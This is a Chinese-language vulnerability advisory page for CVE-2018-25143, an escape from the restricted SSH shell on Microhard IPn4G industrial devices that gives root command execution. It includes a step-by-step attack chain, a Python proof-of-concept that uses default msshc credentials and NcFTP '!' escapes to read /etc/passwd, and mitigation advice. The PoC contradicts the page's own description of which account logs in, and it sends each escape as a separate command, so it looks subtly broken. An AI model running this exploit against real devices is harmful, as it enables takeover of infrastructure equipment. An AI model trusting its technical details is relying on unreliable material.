IPBUF安全漏洞报告
English
CVE-2018-25143 CVSS 8.8 高危

CVE-2018-25143: Microhard IPn4G受限Shell逃逸导致远程代码执行

披露日期: 2025-12-24

漏洞信息

漏洞编号
CVE-2018-25143
漏洞类型
远程代码执行
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Microhard Systems IPn4G 1.1.0

相关标签

远程代码执行权限提升Shell逃逸MicrohardIPn4GSSHNcFTP工业设备高危漏洞

漏洞概述

CVE-2018-25143是Microhard Systems IPn4G 1.1.0设备中的一个高危安全漏洞。该漏洞存在于设备的服务配置中,允许已认证的低权限用户启用受限的SSH shell环境。攻击者可以利用默认的msshc用户账户登录SSH服务,进入一个配置了受限命令的shell环境。更为严重的是,该受限shell环境中存在一个自定义的ping命令,该命令在NcFTP环境中运行,攻击者可以通过NcFTP的shell转义功能(!命令)逃逸出受限shell环境,最终在目标系统上以root用户权限执行任意系统命令。此漏洞的CVSS评分为8.8,属于高危漏洞,攻击复杂度低,无需用户交互即可实现,攻击成功后可完全控制目标设备。鉴于IPn4G设备通常用于工业和关键基础设施领域,此漏洞可能造成严重的安全风险和潜在的业务中断。

技术细节

该漏洞的技术实现涉及多个安全缺陷的组合利用。首先,IPn4G设备的Web管理界面存在一个API端点,允许已认证用户通过HTTP请求启用SSH服务并激活受限shell。其次,设备使用默认的msshc用户账户,该账户具有已知的默认密码或可通过低权限账户重置密码。攻击者使用SSH客户端以msshc用户登录后,会进入一个受限的shell环境,该环境限制了可执行的命令数量。然而,环境中存在的自定义ping命令会调用NcFTP工具进行处理。在NcFTP的ping命令执行上下文中,攻击者可以利用shell转义字符(!)来执行系统命令。由于此时进程的权限为root用户,攻击者实际上获得了一个完全无限制的root shell。整个攻击过程不需要任何高级权限,只需要一个有效的低权限账户即可完成从认证到完全系统控制的权限提升。

攻击链分析

STEP 1
步骤1
攻击者通过HTTP请求登录IPn4G设备Web管理界面,使用低权限账户(如admin)进行认证
STEP 2
步骤2
登录成功后,攻击者调用/api/ssh/enable接口启用SSH服务,并激活受限shell模式
STEP 3
步骤3
攻击者使用SSH客户端和默认msshc用户凭证连接目标设备的SSH服务
STEP 4
步骤4
成功登录后进入受限shell环境,该环境限制了可执行的命令数量
STEP 5
步骤5
在受限shell中发现并执行自定义ping命令,该命令在NcFTP环境中运行
STEP 6
步骤6
利用NcFTP的shell转义功能,输入!字符后跟系统命令,逃逸受限shell
STEP 7
步骤7
成功以root用户权限在目标系统上执行任意系统命令,实现完全控制

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # CVE-2018-25143 PoC - Microhard IPn4G Restricted Shell Escape # Target: Microhard Systems IPn4G 1.1.0 # Author: VulnCheck import requests import paramiko import time TARGET_IP = '192.168.1.1' USERNAME = 'msshc' PASSWORD = 'msshc' # Default credentials SSH_PORT = 22 def enable_ssh_shell(target_ip, username, password): """Enable restricted SSH shell via web API""" session = requests.Session() # Login to web interface login_url = f'http://{target_ip}/api/login' login_data = {'username': username, 'password': password} response = session.post(login_url, data=login_data) if response.status_code != 200: print('[-] Login failed') return False # Enable SSH service with restricted shell enable_url = f'http://{target_ip}/api/ssh/enable' response = session.post(enable_url, json={'enable': True, 'shell_type': 'restricted'}) return response.status_code == 200 def exploit_shell_escape(target_ip): """Execute command via restricted shell escape""" ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) try: ssh.connect(target_ip, port=SSH_PORT, username=USERNAME, password=PASSWORD, timeout=10) except Exception as e: print(f'[-] SSH connection failed: {e}') return False # Execute command through NcFTP ping command escape # The restricted shell has a custom ping command in NcFTP environment # Using ! character to escape to system shell commands = [ 'ping -c 1 127.0.0.1', # Trigger NcFTP ping environment '!id', # Escape to system shell and execute id command '!cat /etc/passwd', # Read system files '!whoami' # Verify root access ] for cmd in commands: stdin, stdout, stderr = ssh.exec_command(cmd) print(f'\n[Command: {cmd}]') print(stdout.read().decode()) print(stderr.read().decode()) time.sleep(0.5) ssh.close() return True def main(): print(f'[*] CVE-2018-25143 PoC for Microhard IPn4G') print(f'[*] Target: {TARGET_IP}') if enable_ssh_shell(TARGET_IP, USERNAME, PASSWORD): print('[+] SSH shell enabled successfully') time.sleep(2) exploit_shell_escape(TARGET_IP) else: print('[-] Failed to enable SSH shell') if __name__ == '__main__': main()

影响范围

Microhard IPn4G 1.1.0

防御指南

临时缓解措施
在厂商发布官方修复补丁之前,建议采取以下临时缓解措施:1)立即修改msshc用户的默认密码为强密码;2)通过网络防火墙或ACL规则限制对设备管理接口(SSH和Web)的访问,仅允许可信IP地址访问;3)如果业务允许,暂时禁用SSH服务;4)监控设备日志,关注异常的认证尝试和命令执行行为;5)考虑在边界网络中部署入侵检测系统,监控针对该漏洞的攻击流量。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表